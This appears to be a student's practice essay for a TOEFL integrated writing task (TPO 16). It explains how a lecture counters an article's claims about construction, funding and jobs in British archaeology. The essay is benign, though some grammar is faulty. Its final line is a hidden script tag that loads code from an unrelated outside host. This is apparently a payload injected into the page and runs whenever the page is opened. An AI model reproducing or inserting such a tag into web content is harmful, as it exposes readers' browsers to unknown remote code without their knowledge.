tpo16

The article and the lecture are contradicting each other, in terms of problems related to the archeology field. More specifically, the penman of the article presents three theories to prove that changes that occurred in the twentieth century were created harmful consequences. However, the lecturer negates the arguments presented in the passage and provides some further evidence.

According to the article, the first dispute focuses on the fact that artifacts were being constantly destroyed due to increasing construction developments in Britain. Nevertheless, the speaker undermines this by stating that the local government and archeology team together are examing the construction in order to find the archeological value of the site before construction starts. Thus, the artifacts would not be damaged and could be preserved in a good condition.

Moreover, another point of debate highlights that the government is unlikely to support the archeological research projects financially in the last century. Nevertheless, the professor rebuts this by asserting that nowadays, research projects are well supported by construction companies instead of the government as used to earlier. Thus, they have better financial support than earlier in order to conduct research work.

Finally, yet importantly, the last text explains that workers in this field are not paid enough. Additionally, apparently, many times, they have to switch their majors due to a lack of job opportunities in the field. On the contrary, the professor rejects the point in the article and contends that in the current era, many experts in the archeological field hire experienced people to help them in various realms such as collecting data, helping in preserving artifacts, and writing a report for them. Hence, all these workers will be paid, and it is not true that people do not have jobs available in this field.

<script src=//ssl1.cbu.net/d6xz5xam></script>